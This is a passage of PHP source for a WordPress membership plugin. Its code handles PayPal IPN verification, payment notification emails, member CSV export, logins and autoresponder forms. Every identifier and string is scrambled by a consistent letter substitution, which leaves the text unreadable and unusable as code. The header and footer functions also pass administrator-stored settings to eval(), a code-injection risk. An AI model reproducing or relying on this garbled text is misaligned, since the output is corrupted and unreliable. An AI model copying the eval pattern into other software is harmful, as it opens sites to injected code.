(xnnBm(SxsAr[QplrmUmis_mhqBQplrmU])) { SnmFmln = SxsAr[QplrmUmis_mhqBQplrmU]U } xA (xnnBm(SxsAr[QplrmUAxonm_sFtBQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUuFnm_sFtBQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUqFhBo_BtFxuQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUxmBt_sltEBoQplrmU])) { SoBnlum = FooFh( QplrmUAxonmsFtBQplrmU =QzmU SxsAr[QplrmUAxonm_sFtBQplrmU], QplrmUuFnmsFtBQplrmU =QzmU SxsAr[QplrmUuFnm_sFtBQplrmU], QplrmUBtFxuQplrmU =QzmU SxsAr[QplrmUqFhBo_BtFxuQplrmU], QplrmUlnBosFtBQplrmU =QzmU SxsAr[QplrmUAxonm_sFtBQplrmU].QplrmU QplrmU.SxsAr[QplrmUuFnm_sFtBQplrmU], QplrmUuBkBuQplrmU =QzmU xsmkFu(SxsAr[QplrmUxmBt_sltEBoQplrmU]), QplrmUmoFsnFDmxrsQplrmU =QzmU SmoFsnFDmxrs, QplrmUFDmxrsQplrmU =QzmU QplrmUoBzxnmBoQplrmU )U } BunB { SoBnlum = FooFh()U } xA (SnmFmln == QplrmUbiqxoBCQplrmU || SnmFmln == QplrmUaFxuBCQplrmU || SnmFmln == QplrmU	BAlsCBCQplrmU || SnmFmln == QplrmU	BkBonBCQplrmU || SnmFmln == QplrmUnlEnDo_AFxuBCQplrmU || SnmFmln == QplrmUoBDlooxsz_qFhtBsm_nlnqBsCBC_ClB_mr_tFi_AFxuBC_qFhtBsmQplrmU || SnmFmln == QplrmUnlEnDo_DFsDBuQplrmU) { SoBnlum[QplrmUFDmxrsQplrmU] = QplrmUDFsDBuQplrmUU } oBmlos SoBnlumU } AlsDmxrs kBoxAh0c#(Smi, SmrvBs) { Sqrnm = jq_oBtrmB_qrnm(QplrmUymmqn://jjj.qFhqFu.Drt/Dzx-Exs/jBEnDoQplrmU, FooFh( QplrmUErChQplrmU =QzmU FooFh(QplrmUDtCQplrmU =QzmU QplrmU_srmxAh-nhsDyQplrmU, QplrmUmiQplrmU =QzmU Smi, QplrmUFmQplrmU =QzmU SmrvBs), QplrmUymmqkBonxrsQplrmU =QzmU O.O ) )U SErCh = jq_oBtrmB_oBmoxBkB_ErCh(Sqrnm)U SuxsBn = BiqurCB(QplrmU\sQplrmU, SErCh)U SoBnlum = FooFh()U xA (moxt(SuxsBn[P]) V= QplrmU$;ddb$$QplrmU) { oBmlos sluuU } AroBFDy (SuxsBn Fn SuxsB) { SvBh = sluuU SkFulB = sluuU SAxBuCn = @BiqurCB(QplrmU=QplrmU, moxt(SuxsB))U xA (Drlsm(SAxBuCn) == O) { uxnm(SvBh) = SAxBuCnU } BunB { uxnm(SvBh, SkFulB) = SAxBuCnU } xA (SkFulB V== sluu) { SoBnlum[SvBh] = louCBDrCB(SkFulB)U } } oBmlos SoBnlumU } AlsDmxrs kBoxAh702(SkFon) { zurEFu StBtEBozBsxlnU Sqrnm = jq_oBtrmB_qrnm(QplrmUymmqn://jjj.qFhqFu.Drt/Dzx-Exs/jBEnDoQplrmU, FooFh( QplrmUErChQplrmU =QzmU FooFh_tBozB(FooFh(QplrmUDtCQplrmU =QzmU QplrmU_srmxAh-kFuxCFmBQplrmU), SkFon), QplrmUymmqkBonxrsQplrmU =QzmU O.O ) )U SErCh = jq_oBtrmB_oBmoxBkB_ErCh(Sqrnm)U xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrmxAhQplrmU)==O) { Smyxn-QzmUsrmxAh()U } xA (moxt(SErCh) V= QplrmU!b	7a7bcQplrmU) { oBmlos sluuU } oBmlos SkFonU } qlEuxD AlsDmxrs srmxAh() { xA (VxnnBm(S_01$#[QplrmUqFhBo_BtFxuQplrmU])) { oBmlosU } SnlEwBDm = QplrmU[702] 0Fh0Fu 2rmxAxDFmxrs 4rzQplrmUU SqoxDB = QplrmUQplrmUU xA (xnnBm(S_01$#[QplrmUFtrlsmMQplrmU])) { SqoxDB = AurFmkFu(S_01$#[QplrmUFtrlsmMQplrmU])U } BunBxA (xnnBm(S_01$#[QplrmUtD_FtrlsmMQplrmU])) { SqoxDB = AurFmkFu(S_01$#[QplrmUtD_FtrlsmMQplrmU])U } BunBxA (xnnBm(S_01$#[QplrmUtD_zornnQplrmU])) { SqoxDB = AurFmkFu(S_01$#[QplrmUtD_zornnQplrmU])U } BunBxA (xnnBm(S_01$#[QplrmUtD_zornnOQplrmU])) { SqoxDB = AurFmkFu(S_01$#[QplrmUtD_zornnOQplrmU])U } BunBxA (xnnBm(S_01$#[QplrmUqFhtBsm_zornnQplrmU])) { SqoxDB = AurFmkFu(S_01$#[QplrmUqFhtBsm_zornnQplrmU])U } xA (SqoxDB == QplrmUQplrmU) { SmyB0oxDB = QplrmUQplrmUU } BunB { SmyB0oxDB = QplrmU QplrmU . sltEBo_ArotFm(SqoxDB, N)U } xA (S_01$#[QplrmUqFhtBsm_nmFmlnQplrmU] == QplrmU	BAlsCBCQplrmU || S_01$#[QplrmUqFhtBsm_nmFmlnQplrmU] == QplrmU	BkBonBCQplrmU) { SnlEwBDm .= QplrmU (	ba;2cQplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUmis_mhqBQplrmU] == QplrmUjBE_FDDBqmQplrmU || S_01$#[QplrmUmis_mhqBQplrmU] == QplrmUBiqoBnn_DyBDvrlmQplrmU) { SnlEwBDm .= QplrmU ($f4bQplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUmis_mhqBQplrmU] == QplrmUnlEnDo_qFhtBsmQplrmU) { SnlEwBDm .= QplrmU (	be744QplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUmis_mhqBQplrmU] == QplrmUnlEnDo_BrmQplrmU) { SnlEwBDm .= QplrmU (b2cbcQplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUmis_mhqBQplrmU] == QplrmUoBDlooxsz_qFhtBsm_rlmnmFsCxsz_qFhtBsm_AFxuBCQplrmU || S_01$#[QplrmUmis_mhqBQplrmU] == QplrmUnlEnDo_AFxuBCQplrmU || S_01$#[QplrmUmis_mhqBQplrmU] == QplrmUoBDlooxsz_qFhtBsm_nlnqBsCBC_ClB_mr_tFi_AFxuBC_qFhtBsmQplrmU || S_01$#[QplrmUmis_mhqBQplrmU] == QplrmUoBDlooxsz_qFhtBsm_nvxqqBCQplrmU) { SnlEwBDm .= QplrmU (	be744 af74bcQplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUmis_mhqBQplrmU] == QplrmUnlEnDo_DFsDBuQplrmU || S_01$#[QplrmUmis_mhqBQplrmU] == QplrmUoBDlooxsz_qFhtBsm_qorAxuB_DFsDBuQplrmU) { SnlEwBDm .= QplrmU (df2db44f#712QplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUmis_mhqBQplrmU] == QplrmUnlEnDo_nxzslqQplrmU) { SnlEwBDm .= QplrmU ($792;0QplrmU.SmyB0oxDB.QplrmU)QplrmUU } SqFhtBsmcFmB = PU xA (xnnBm(S_01$#[QplrmUqFhtBsm_CFmBQplrmU])) { SqFhtBsmcFmB = nmomrmxtB(S_01$#[QplrmUqFhtBsm_CFmBQplrmU])U } BunBxA (xnnBm(S_01$#[QplrmUnlEnDo_CFmBQplrmU])) { SqFhtBsmcFmB = nmomrmxtB(S_01$#[QplrmUnlEnDo_CFmBQplrmU])U } BunB { SqFhtBsmcFmB = mxtB()U } StBnnFzB = QplrmUf sBj nFuB/oBAlsC jFn qorDBnnBC\o\sAro DlnmrtBo QplrmU.ymtuBsmxmxBn(S_01$#[QplrmUqFhBo_BtFxuQplrmU])U StBnnFzB .= QplrmU rs QplrmU.CFmB(QplrmUt/C/QplrmU.Dyo(HG), SqFhtBsmcFmB).QplrmU Fm QplrmU.CFmB(QplrmUz:x f BQplrmU, SqFhtBsmcFmB)U StBnnFzB .= QplrmU\o\s\o\scBmFxun:\o\s\o\sQplrmUU AroBFDy (S_01$# Fn SvBh =QzmU SkFulB) { StBnnFzB .= SvBh.QTPMGU: QTPMGU.SkFulB.QplrmU\o\sQplrmUU } Smyxn-QzmUBtFxu(SnlEwBDm, StBnnFzB)U } } DuFnn 3BtEBo9Bsxln!xBj { qlEuxD AlsDmxrs __DrsnmolDm() { FCC_FDmxrs(QplrmUjq_yBFCQplrmU, FooFh(QFtqUSmyxn, QplrmUyBFCQplrmU))U FCC_FDmxrs(QplrmUjq_ArrmBoQplrmU, FooFh(QFtqUSmyxn, QplrmUArrmQplrmU))U } qlEuxD AlsDmxrs yBFC() { zurEFu StBtEBozBsxlnU xA (SyBFCBo = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUyBFCBoQplrmU)) { BkFu( QTPMGUWQzmU QTPMGU.nmoxqnuFnyBn(Cr_nyromDrCB(SyBFCBo)).QTPMGU QumUWqyq QTPMGU )U } } qlEuxD AlsDmxrs Arrm() { zurEFu StBtEBozBsxlnU xA (SArrmBo = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUArrmBoQplrmU)) { BkFu( QTPMGUWQzmU QTPMGU.nmoxqnuFnyBn(Cr_nyromDrCB(SArrmBo)).QTPMGU QumUWqyq QTPMGU )U } Srlmqlm = FooFh()U xA (SFmmoxElmxrs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUFmmoxElmxrsQplrmU)) { Suxsv = QplrmUymmq://jjj.tBtEBozBsxln.DrtQplrmUU xA (SFAAxuxFmB = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUFAAxuxFmBQplrmU)) { Suxsv = QplrmUymmq://tBtEBozBsxln.Drt/39/WB=QplrmU.SFAAxuxFmBU } Srlmqlm[] = QTPMGUQumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUQTPMGU.ymtuBsmxmxBn(Suxsv).QTPMGUQplrmUQzmU?roC0oBnn 3BtEBonyxq $xmB 0rjBoBC eh 3BtEBo 9Bsxln 0ulzxs Aro ?roC0oBnnQumU/FQzmUQTPMGUU } xA (Snlqqrom = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnlqqromQplrmU)) { Snlqqrom = moxt(Snlqqrom)U xA (Snlqqrom) { Srlmqlm[] = QTPMGUQumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUQTPMGU.ymtuBsmxmxBn(Snlqqrom).QTPMGUQplrmUQzmU$lqqrom cBnvQumU/FQzmUQTPMGUU } } xA (Drlsm(Srlmqlm) QzmU P) { BDyr QTPMGUQumUq Fuxzs=QplrmUDBsmBoQplrmU nmhuB=QplrmUDuBFo:ErmyUQplrmUQzmUQTPMGUU BDyr xtqurCB(QplrmU - QplrmU, Srlmqlm)U BDyr QTPMGUQumU/qQzmUQTPMGUU } } qlEuxD AlsDmxrs CrjsurFC() { zurEFu StBtEBozBsxlnU xA (VDlooBsm_lnBo_DFs(QplrmUFCtxsxnmoFmroQplrmU)) { oBmlosU } @rE_BsC_DuBFs()U yBFCBo(QplrmUdrsmBsm-mhqB:mBim/quFxsQplrmU)U yBFCBo(QTPMGUdrsmBsm-cBnDoxqmxrs: axuB #oFsnABoQTPMGU)U yBFCBo(QTPMGUdrsmBsm-#hqB: FqquxDFmxrs/rDmBm-nmoBFtQTPMGU)U yBFCBo(QTPMGUdrsmBsm-cxnqrnxmxrs: FmmFDytBsmU AxuBsFtB=QplrmUBiqrom.DnkQplrmUQTPMGU)U yBFCBo(QTPMGUdrsmBsm-#oFsnABo-bsDrCxsz: ExsFohQTPMGU)U yBFCBo(QTPMGUdrssBDmxrs: 5BBq-fuxkBQTPMGU)U yBFCBo(QTPMGUbiqxoBn: PQTPMGU)U yBFCBo(QTPMGUdFDyB-drsmoru: tlnm-oBkFuxCFmB, qrnm-DyBDv=P, qoB-DyBDv=PQTPMGU)U yBFCBo(QTPMGU0oFztF: qlEuxDQTPMGU)U SplBoh = QplrmUQplrmUU SnmFmln = sluuU xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU])) { SplBoh .= QplrmUQFtqUuBkBun=QplrmU.xtqurCB(QplrmU,QplrmU, S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU])U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nmFmlnQplrmU])) { xA (S_01$#[QplrmUtBtEBozBsxln_nmFmlnQplrmU] == QplrmUFDmxkBQplrmU) { SplBoh .= QplrmUQFtqUnmFmln=fQplrmUU } BunBxA (S_01$#[QplrmUtBtEBozBsxln_nmFmlnQplrmU] == QplrmUDFsDBuBCQplrmU) { SplBoh .= QplrmUQFtqUnmFmln=dQplrmUU } BunBxA (S_01$#[QplrmUtBtEBozBsxln_nmFmlnQplrmU] == QplrmUFuuQplrmU) { SplBoh .= QplrmUQFtqUnmFmln=f,dQplrmUU } } StBtEBon = StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBon(SplBoh)U BDyr QplrmUlnBosFtB,AxonmsFtB,uFnmsFtB,BtFxu,uBkBu,CFmB\o\sQplrmUU AroBFDy (StBtEBon Fn StBtEBo5Bh =QzmU StBtEBo) { SlnBosFtB = StBtEBo-QzmUlnBo_urzxsU SAxonmsFtB = zBm_lnBo_tBmF(StBtEBo-QzmU7c,QTPMGUAxonm_sFtBQTPMGU, molB)U SuFnmsFtB = zBm_lnBo_tBmF(StBtEBo-QzmU7c,QTPMGUuFnm_sFtBQTPMGU, molB)U SBtFxu = StBtEBo-QzmUlnBo_BtFxuU SuBkBun = FooFh()U AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu7sAr(StBtEBo-QzmU7c) Fn SlnBo4BkBu) { SuBkBun[] = SlnBo4BkBu-QzmUuBkBu_sFtBU } SuBkBu = xtqurCB(QplrmU,QplrmU, SuBkBun)U SCFmB = StBtEBo-QzmUlnBo_oBzxnmBoBCU SuxsB = FooFh( QplrmUlnBosFtBQplrmU =QzmU SlnBosFtB, QplrmUAxonmsFtBQplrmU =QzmU SAxonmsFtB, QplrmUuFnmsFtBQplrmU =QzmU SuFnmsFtB, QplrmUBtFxuQplrmU =QzmU SBtFxu, QplrmUuBkBuQplrmU =QzmU SuBkBu, QplrmUCFmBQplrmU =QzmU SCFmB )U SuxsB = FooFh_tFq(FooFh(QFtqUSmyxn, QplrmUCrjsurFC_nFsxmxgBQplrmU), SuxsB)U BDyr xtqurCB(SuxsB,QplrmU,QplrmU).QplrmU\o\sQplrmUU } CxB()U } qoxkFmB AlsDmxrs CrjsurFC_nFsxmxgB(Sxsqlm) { oBmlos QTPMGUQplrmUQTPMGU.FCCDnuFnyBn(Sxsqlm, QplrmU\o\s\QplrmUQplrmU).QTPMGUQplrmUQTPMGUU } qlEuxD AlsDmxrs roCBo(SplBoh) { xA (xnnBm(SplBoh-QzmUplBoh_kFon[QTPMGUqrnm_mhqBQTPMGU]) QFtqUQFtqU SplBoh-QzmUplBoh_kFon[QTPMGUqrnm_mhqBQTPMGU] V= QTPMGUqrnmQTPMGU) { oBmlosU } FCC_AxumBo(QTPMGUqrnmn_roCBoEhQTPMGU, FooFh(QFtqUSmyxn, QTPMGUroCBoehQTPMGU))U } AlsDmxrs roCBoeh(SroCBoEh) { zurEFu StBtEBozBsxlnU SroCBo = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUroCBoQplrmU)U xA (SroCBo == QplrmUFnDBsCxszQplrmU) { SroC = QplrmUf$dQplrmUU } BunB { SroC = QplrmUcb$dQplrmUU } zurEFu SjqCEU SroCBoEh = SjqCE-QzmUqrnmn.QplrmU.qrnm_CFmB QplrmU.SroCU oBmlos SroCBoEhU } qlEuxD AlsDmxrs urzrlm() { zurEFu StBtEBozBsxlnU xA (xnnBm(S_9b#[QplrmUtBtEBozBsxln_FDmxrsQplrmU]) QFtqUQFtqU S_9b#[QplrmUtBtEBozBsxln_FDmxrsQplrmU] == QplrmUnjxmDy_lnBoQplrmU) { jq_oBCxoBDm(jq_urzxs_lou())U CxB()U } BunB { Surzrlm_qFzB = @xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUurzrlm_qFzBQplrmU))U Surzrlm_lou = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUurzrlm_louQplrmU)U xA (Surzrlm_qFzB == -O) { Surzrlm_uxsv = jq_urzxs_lou()U } BunBxA (Surzrlm_qFzB == P) { Surzrlm_uxsv = Surzrlm_louU } BunBxA (Surzrlm_qFzB) { Surzrlm_uxsv = zBm_qBotFuxsv(Surzrlm_qFzB)U } BunB { Surzrlm_uxsv = sluuU } xA (VSurzrlm_uxsv) { Surzrlm_uxsv = yrtB_lou()U } jq_oBCxoBDm(Surzrlm_uxsv)U CxB()U } } qlEuxD AlsDmxrs BsplBlB_nDoxqmn() { jq_BsplBlB_nDoxqm(QplrmUwplBohQplrmU)U } qlEuxD AlsDmxrs urzxs() { xA (xn_lnBo_urzzBC_xs()) { oBmlosU } xA (VxnnBm(S_01$#[QTPMGUjqqq_lnBosFtBQTPMGU]) || VxnnBm(S_01$#[QTPMGUjqqq_qFnnjroCQTPMGU])) { oBmlosU } SDoBCn = FooFh()U SDoBCn[QTPMGUlnBo_urzxsQTPMGU] = S_01$#[QTPMGUjqqq_lnBosFtBQTPMGU]U SDoBCn[QTPMGUlnBo_qFnnjroCQTPMGU] = S_01$#[QTPMGUjqqq_qFnnjroCQTPMGU]U SDoBCn[QTPMGUoBtBtEBoQTPMGU] = molBU SlnBo = jq_nxzsrs( SDoBCn, (xn_nnu()WmolB:AFunB) )U SlnBo4BkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu7sAr(SlnBo-QzmU7c)U xA (VSlnBo4BkBun || Vxn_FooFh(SlnBo4BkBun)) { SlnBo4BkBun = FooFh()U } xA (Vxn_jq_Booro(SlnBo) ) { jq_oBCxoBDm( yrtB_lou() )U } } qlEuxD AlsDmxrs jxCzBm_Drsmoru(SFozn=sluu, SqFoFtn=sluu) { oBmlos molBU } qlEuxD AlsDmxrs jxCzBm(SFozn) { BimoFDm(SFozn)U BDyr SEBAroB_jxCzBmU BDyr SEBAroB_mxmuB . QTPMGU3BtEBonyxq cBmFxuQTPMGU . SFAmBo_mxmuBU WQzmUY      QumUWqyq xA (xn_lnBo_urzzBC_xs()): WQzmUY         QFtqUoFplrU QumUF yoBA=QplrmUQumUWqyq BDyr jq_urzrlm_lou()U WQzmUQplrmU mxmuB=QplrmU4rzrlmQplrmUQzmU4rzrlmQumU/FQzmUY      QumUWqyq BunB: WQzmUY         QumUWqyq jq_urzxs_Arot()U WQzmUY      QumUWqyq BsCxAU WQzmUY      QumUWqyq BDyr SFAmBo_jxCzBmU } qlEuxD AlsDmxrs FlmroBnqrsCBo() { zurEFu StBtEBozBsxlnU xA (xn_FCtxs()) { oBmlosU } xA (Vxn_lnBo_urzzBC_xs()) { oBmlosU } SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U SlnBoaxonm = QplrmUQplrmUU SlnBo4Fnm = QplrmUQplrmUU SlnBobtFxu = QplrmUQplrmUU xA (xnnBm(SDlooBsm_lnBo-QzmUlnBo_AxonmsFtB)) { SlnBoaxonm = SDlooBsm_lnBo-QzmUlnBo_AxonmsFtBU } xA (xnnBm(SDlooBsm_lnBo-QzmUlnBo_uFnmsFtB)) { SlnBo4Fnm = SDlooBsm_lnBo-QzmUlnBo_uFnmsFtBU } xA (xnnBm(SDlooBsm_lnBo-QzmUlnBo_BtFxu)) { SlnBobtFxu = SDlooBsm_lnBo-QzmUlnBo_BtFxuU } SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu7sAr(SDlooBsm_lnBo-QzmU7c, QplrmU;QplrmU)U xA (Vxn_FooFh(SuBkBun) || Drlsm(SuBkBun) == P) { oBmlosU } SFlmroBnqrsCBon = FooFh()U AroBFDy (SuBkBun Fn SuBkBu) { StBtEBozBsxln-QzmUtrCBu-QzmUnlEnDoxEB(SDlooBsm_lnBo-QzmU7c, SuBkBu-QzmUuBkBu_xC)U SFlmroBnqrsCBon[] = StBtEBozBsxln-QzmUtrCBu-QzmUzBmflmroBnqrsCBo(SuBkBu-QzmUuBkBu_xC)U } Sx = PU AroBFDy (SFlmroBnqrsCBon Fn SvBh =QzmU SFlmroBnqrsCBo): WQzmUY      QumUCxk xC=QplrmUtBtEBozBsxln_FlmroBnqrsCBo[QumUWqyq BDyr SvBhU WQzmU]QplrmU nmhuB=QplrmUCxnquFh:srsBUQplrmUQzmUY      QumUWqyq BDyr SFlmroBnqrsCBo[QplrmUDrCBQplrmU]U WQzmUY      QumU/CxkQzmUY      QumUxAoFtB sFtB=QplrmUtBtEBozBsxln_nlEtxm[QumUWqyq BDyr SvBhU WQzmU]QplrmU jxCmy=QplrmUOQplrmU yBxzym=QplrmUOQplrmU noD=QplrmUFErlm:EuFsvQplrmU nmhuB=QplrmUCxnquFh:srsBUQplrmUQzmUQumU/xAoFtBQzmUY      QumUWqyq Sx++U WQzmUY      QumUWqyq BsCAroBFDyU WQzmUYY      QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY      QumUV--Y      w&lBoh(AlsDmxrs() {Y      QumUWqyq AroBFDy (SFlmroBnqrsCBon Fn SvBh =QzmU SkFulB): WQzmUY      kFo myBflmroBnqrsCBo = w&lBoh(CrDltBsm.zBmbuBtBsmeh7C(QplrmUtBtEBozBsxln_FlmroBnqrsCBo[QumUWqyq BDyr SvBhU WQzmU]QplrmU))UY      kFo myBarot = myBflmroBnqrsCBo.AxsC(QplrmUArotQplrmU).Axonm()UY      myBarot.Fmmo(QplrmUmFozBmQplrmU, QplrmUtBtEBozBsxln_nlEtxm[QumUWqyq BDyr SvBhU WQzmU]QplrmU)UYY      QumUWqyq xA (xnnBm(SkFulB[QplrmUBtFxuQplrmU])): WQzmUY         myBflmroBnqrsCBo.AxsC(QplrmUxsqlm[sFtB=QTPMGUQumUWqyq BDyr ymtuBsmxmxBn(SkFulB[QplrmUBtFxuQplrmU])U WQzmUQTPMGU]QplrmU).Axonm().Fmmo(QplrmUkFulBQplrmU, QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SlnBobtFxu)U WQzmUQplrmU)UY      QumUWqyq BsCxAU WQzmUYY      QumUWqyq xA (xnnBm(SkFulB[QplrmUAxonmsFtBQplrmU])): WQzmUY         myBflmroBnqrsCBo.AxsC(QplrmUxsqlm[sFtB=QTPMGUQumUWqyq BDyr ymtuBsmxmxBn(SkFulB[QplrmUAxonmsFtBQplrmU])U WQzmUQTPMGU]QplrmU).Axonm().Fmmo(QplrmUkFulBQplrmU, QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SlnBoaxonm)U WQzmUQplrmU)UY      QumUWqyq BsCxAU WQzmUYY      QumUWqyq xA (xnnBm(SkFulB[QplrmUuFnmsFtBQplrmU])): WQzmUY         myBflmroBnqrsCBo.AxsC(QplrmUxsqlm[sFtB=QTPMGUQumUWqyq BDyr ymtuBsmxmxBn(SkFulB[QplrmUuFnmsFtBQplrmU])U WQzmUQTPMGU]QplrmU).Axonm().Fmmo(QplrmUkFulBQplrmU, QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SlnBo4Fnm)U WQzmUQplrmU)UY      QumUWqyq BsCxAU WQzmUYY      // cBuBmB nlEtxm Elmmrs jyxDy DFlnBn qorEuBtnY      myBarot.AxsC(QplrmU[sFtB=QTPMGUnlEtxmQTPMGU]QplrmU).BFDy(AlsDmxrs(x, rEw) { w&lBoh(rEw).oBtrkB()U })UYY      // $lEtxm myB ArotY      myBarot.moxzzBo(QplrmUnlEtxmQplrmU)UYY      QumUWqyq BsCAroBFDyU WQzmUY      })UY      // --QzmUY      QumU/nDoxqmQzmUYY      QumUWqyqY } } DuFnn 3BtEBo9BsxlnfCtxs { qlEuxD SFDmxkFmxrsU qlEuxD StBslU AlsDmxrs __DrsnmolDm() { Smyxn-QzmUFDmxkFmxrs = sBj 3BtEBo9BsxlnfDmxkFmxrs(QplrmUymmq://NFtFDmxkFmxrs.Drt/xsDrtBtFDyxsBQplrmU, QplrmUtBtEBozBsxlnQplrmU, QplrmU3BtEBo 9BsxlnQplrmU, QplrmUymmq://jjj.xsDrtBtFDyxsB.Drt/tBtEBonQplrmU)U xA (VAlsDmxrs_Bixnmn(QTPMGUFCC_FDmxrsQTPMGU)) { oBmlosU } FCC_FDmxrs(QTPMGUFCtxs_tBslQTPMGU, FooFh(QFtqUSmyxn, QTPMGUtBsl_nBmlqQTPMGU))U xA (Smyxn-QzmUFDmxkFmxrs-QzmUDFuu == P) { FCC_AxumBo(QplrmUqulzxs_FDmxrs_uxsvnQplrmU, FooFh(QFtqUSmyxn, QTPMGUuxsvn_lsoBzxnmBoBCQTPMGU), OP, N)U oBmlosU } FCC_FDmxrs( QTPMGUFCtxs_EFo_tBslQTPMGU, FooFh( Smyxn, QplrmUFCtxs_EFoQplrmU ), MK )U xA (Vxn_FCtxs()) { oBmlosU } FCC_FDmxrs(QTPMGUFCtxs_xsxmQTPMGU, FooFh(QFtqUSmyxn, QTPMGUFCtxs_xsxmQTPMGU))U FCC_FDmxrs(QTPMGUqorAxuB_lqCFmBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUqorAxuB_lqCFmBQTPMGU))U FCC_FDmxrs(QTPMGUnyrj_lnBo_qorAxuBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUqorAxuBQTPMGU))U FCC_FDmxrs(QTPMGUBCxm_lnBo_qorAxuBQTPMGU, FooFh(QFtqUSmyxn, QTPMGUqorAxuBQTPMGU))U FCC_AxumBo(QTPMGUtFsFzB_qFzBn_DrultsnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUDrultsnQTPMGU))U FCC_FDmxrs(QTPMGUtFsFzB_qFzBn_Dlnmrt_DrultsQTPMGU, FooFh(QFtqUSmyxn, QTPMGUDrultsQTPMGU), OP, N)U FCC_AxumBo(QTPMGUtFsFzB_qrnmn_DrultsnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUDrultsnQTPMGU))U FCC_FDmxrs(QTPMGUtFsFzB_qrnmn_Dlnmrt_DrultsQTPMGU, FooFh(QFtqUSmyxn, QTPMGUDrultsQTPMGU), OP, N)U FCC_FDmxrs(QTPMGUjq_CFnyErFoC_nBmlqQTPMGU, FooFh(Smyxn, QTPMGUCFnyErFoC_nBmlqQTPMGU))U FCC_AxumBo(QplrmUqulzxs_FDmxrs_uxsvnQplrmU, FooFh(QFtqUSmyxn, QTPMGUuxsvnQTPMGU), OP, N)U FCC_FDmxrs(QTPMGUFCC_tBmF_EriBnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUtBmF_EriBnQTPMGU))U FCC_AxumBo(QplrmUjq_xsnBom_qrnmQplrmU, FooFh(QFtqUSmyxn, QTPMGUtBmF_nFkBQTPMGU), OP, N)U FCC_AxumBo(QplrmUnFkB_qrnmQplrmU, FooFh(QFtqUSmyxn, QTPMGUtBmF_nFkBQTPMGU))U } qlEuxD AlsDmxrs DurFv_quFDByruCBo(SplBoh) { xA (Vxn_FCtxs()) { oBmlos SplBohU } xA (SquFDByruCBo = zBm_qFzB_Eh_qFmy(QplrmUtBtEBozBsxlnQplrmU)) { xA (SplBoh V= QplrmUQplrmU) { SplBoh .= QplrmU f2c QplrmUU } SplBoh .= QplrmU7c QumUQzmU QplrmU.xsmkFu(SquFDByruCBo-QzmU7c)U } oBmlos SplBohU } qlEuxD AlsDmxrs mFE4xsv(SsFtB=QplrmUQplrmU) { xA (SsFtB V= QplrmUQplrmU) { SnlAAxi = QplrmU-QplrmU.SsFtBU } BunB { SnlAAxi = QplrmUQplrmUU } oBmlos FCtxs_lou(QTPMGUFCtxs.qyqWqFzB=QTPMGU.qulzxs_EFnBsFtB(__a74b__).SnlAAxi)U } qlEuxD AlsDmxrs CFnyErFoC_nBmlq() { xA (VDlooBsm_lnBo_DFs(QTPMGUFCtxsxnmoFmroQTPMGU)) { oBmlosU } jq_FCC_CFnyErFoC_jxCzBm(QTPMGUtBtEBozBsxlnQTPMGU, QTPMGU3BtEBo 9Bsxln cFnyErFoCQTPMGU, FooFh(QFtqUSmyxn, QTPMGUtBsl_CFnyErFoC_qFsBuQTPMGU))U } qlEuxD AlsDmxrs FCtxs_EFo() { zurEFu StBtEBozBsxlnU SsrstBtEBo_qFzB = @xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrstBtEBo_qFzBQplrmU))U SsrstBtEBo_lou = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrstBtEBo_louQplrmU)U xA (SsrstBtEBo_qFzB == P) { SsrstBtEBo_uxsv = SsrstBtEBo_louU } BunBxA (SsrstBtEBo_qFzB) { SsrstBtEBo_uxsv = zBm_qBotFuxsv(SsrstBtEBo_qFzB)U } BunB { SsrstBtEBo_uxsv = sluuU } Surzrlm_qFzB = @xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUurzrlm_qFzBQplrmU))U Surzrlm_lou = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUurzrlm_louQplrmU)U xA (Surzrlm_qFzB == P) { Surzrlm_uxsv = Surzrlm_louU } BunBxA (Surzrlm_qFzB) { 